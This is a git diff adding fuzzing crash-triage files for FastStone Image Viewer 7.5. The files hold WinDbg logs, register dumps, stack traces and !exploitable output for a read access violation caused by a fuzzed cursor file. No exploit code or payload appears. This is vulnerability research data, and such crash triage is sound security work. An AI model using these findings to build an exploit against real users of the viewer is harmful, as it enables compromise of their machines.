C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +ModLoad: 00000000`73730000 00000000`737e9000 C:\Windows\SysWOW64\textinputframework.dll +ModLoad: 00000000`73410000 00000000`734ab000 C:\Windows\SysWOW64\CoreMessaging.dll +ModLoad: 00000000`734b0000 00000000`7372e000 C:\Windows\SysWOW64\CoreUIComponents.dll +ModLoad: 00000000`75430000 00000000`75493000 C:\Windows\SysWOW64\WS2_32.dll +ModLoad: 00000000`733e0000 00000000`73409000 C:\Windows\SysWOW64\ntmarta.dll +ModLoad: 00000000`73300000 00000000`733de000 C:\Windows\SysWOW64\wintypes.dll +ModLoad: 00000000`13e90000 00000000`13f6e000 C:\Windows\SysWOW64\wintypes.dll +ModLoad: 00000000`73190000 00000000`732f6000 C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.19041.264_none_4298d4188a939fa9\gdiplus.dll +(1f00.1280): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=150b0002 ebx=0000021e ecx=07df8180 edx=000005a6 esi=1274ac40 edi=0daa0fd4 +eip=005bdfc9 esp=150af868 ebp=150afd10 iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:150b0002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=0020: top=0 cc=0000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0= 0.000000000000000000000e+0000 st1= 0.000000000000000000000e+0000 +st2= 0.000000000000000000000e+0000 st3= 0.000000000000000000000e+0000 +st4= 8.500026498502736560000e+0017 st5= 8.500028216489655200000e+0017 +st6= 2.539999999999999999970e+0000 st7= 1.364606800000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:150b0002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=0 0 0 0 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:150b0002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +150afd10 0060d6fc 00000000 150afd78 150afd48 image00000000_00400000+0x1bdfc9 +150afd88 005ff93f 150afde8 005ffbc2 150afde0 image00000000_00400000+0x20d6fc +150afde0 0090e28b 150afdf4 0090e3b5 150afe38 image00000000_00400000+0x1ff93f +150afe38 0090efea 150afea4 150afea8 150afeac image00000000_00400000+0x50e28b +150afec0 008d05d5 150afed4 008d06ab 150aff00 image00000000_00400000+0x50efea +150aff00 008d0991 150aff14 008d0a43 150aff2c image00000000_00400000+0x4d05d5 +150aff2c 0042c0bf 150aff40 0042c0c9 150aff5c image00000000_00400000+0x4d0991 +150aff5c 00404c22 150affcc 0040475c 150aff70 image00000000_00400000+0x2c0bf +150aff70 7572f989 07efbec0 7572f970 150affdc image00000000_00400000+0x4c22 +150aff80 770b7084 07efbec0 2134f579 00000000 KERNEL32!BaseThreadInitThunk+0x19 +150affdc 770b7054 ffffffff 770d62c0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +150affec 00000000 00404bf8 07efbec0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x150b0002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05151902 +STACK_DEPTH:12 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x50e28b +STACK_FRAME:image00000000_00400000+0x50efea +STACK_FRAME:image00000000_00400000+0x4d05d5 +STACK_FRAME:image00000000_00400000+0x4d0991 +STACK_FRAME:image00000000_00400000+0x2c0bf +STACK_FRAME:image00000000_00400000+0x4c22 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x05151902) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/41221/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/41221/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..fc63416 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/41221/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1F00: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1F00: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74ba0000 00000000`74bc2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74bf8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +ModLoad: 00000000`73730000 00000000`737e9000 C:\Windows\SysWOW64\textinputframework.dll +ModLoad: 00000000`73410000 00000000`734ab000 C:\Windows\SysWOW64\CoreMessaging.dll +ModLoad: 00000000`734b0000 00000000`7372e000 C:\Windows\SysWOW64\CoreUIComponents.dll +ModLoad: 00000000`75430000 00000000`75493000 C:\Windows\SysWOW64\WS2_32.dll +ModLoad: 00000000`733e0000 00000000`73409000 C:\Windows\SysWOW64\ntmarta.dll +ModLoad: 00000000`73300000 00000000`733de000 C:\Windows\SysWOW64\wintypes.dll +ModLoad: 00000000`13e90000 00000000`13f6e000 C:\Windows\SysWOW64\wintypes.dll +ModLoad: 00000000`73190000 00000000`732f6000 C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.19041.264_none_4298d4188a939fa9\gdiplus.dll +(1f00.1280): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=150b0002 ebx=0000021e ecx=07df8180 edx=000005a6 esi=1274ac40 edi=0daa0fd4 +eip=005bdfc9 esp=150af868 ebp=150afd10 iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:150b0002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=0020: top=0 cc=0000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0= 0.000000000000000000000e+0000 st1= 0.000000000000000000000e+0000 +st2= 0.000000000000000000000e+0000 st3= 0.000000000000000000000e+0000 +st4= 8.500026498502736560000e+0017 st5= 8.500028216489655200000e+0017 +st6= 2.539999999999999999970e+0000 st7= 1.364606800000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:150b0002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=0 0 0 0 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:150b0002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +150afd10 0060d6fc 00000000 150afd78 150afd48 image00000000_00400000+0x1bdfc9 +150afd88 005ff93f 150afde8 005ffbc2 150afde0 image00000000_00400000+0x20d6fc +150afde0 0090e28b 150afdf4 0090e3b5 150afe38 image00000000_00400000+0x1ff93f +150afe38 0090efea 150afea4 150afea8 150afeac image00000000_00400000+0x50e28b +150afec0 008d05d5 150afed4 008d06ab 150aff00 image00000000_00400000+0x50efea +150aff00 008d0991 150aff14 008d0a43 150aff2c image00000000_00400000+0x4d05d5 +150aff2c 0042c0bf 150aff40 0042c0c9 150aff5c image00000000_00400000+0x4d0991 +150aff5c 00404c22 150affcc 0040475c 150aff70 image00000000_00400000+0x2c0bf +150aff70 7572f989 07efbec0 7572f970 150affdc image00000000_00400000+0x4c22 +150aff80 770b7084 07efbec0 2134f579 00000000 KERNEL32!BaseThreadInitThunk+0x19 +150affdc 770b7054 ffffffff 770d62c0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +150affec 00000000 00404bf8 07efbec0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x150b0002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05151902 +STACK_DEPTH:12 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x50e28b +STACK_FRAME:image00000000_00400000+0x50efea +STACK_FRAME:image00000000_00400000+0x4d05d5 +STACK_FRAME:image00000000_00400000+0x4d0991 +STACK_FRAME:image00000000_00400000+0x2c0bf +STACK_FRAME:image00000000_00400000+0x4c22 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x05151902) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/41221/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/41221/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..ccd7bbd Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/41221/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/46544/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/46544/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..c25aff2 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/46544/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000150f0002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/46544/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/46544/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..c9a8e3d Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/46544/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/46544/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/46544/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..71b955f --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/46544/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x904: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x904: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001ed000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 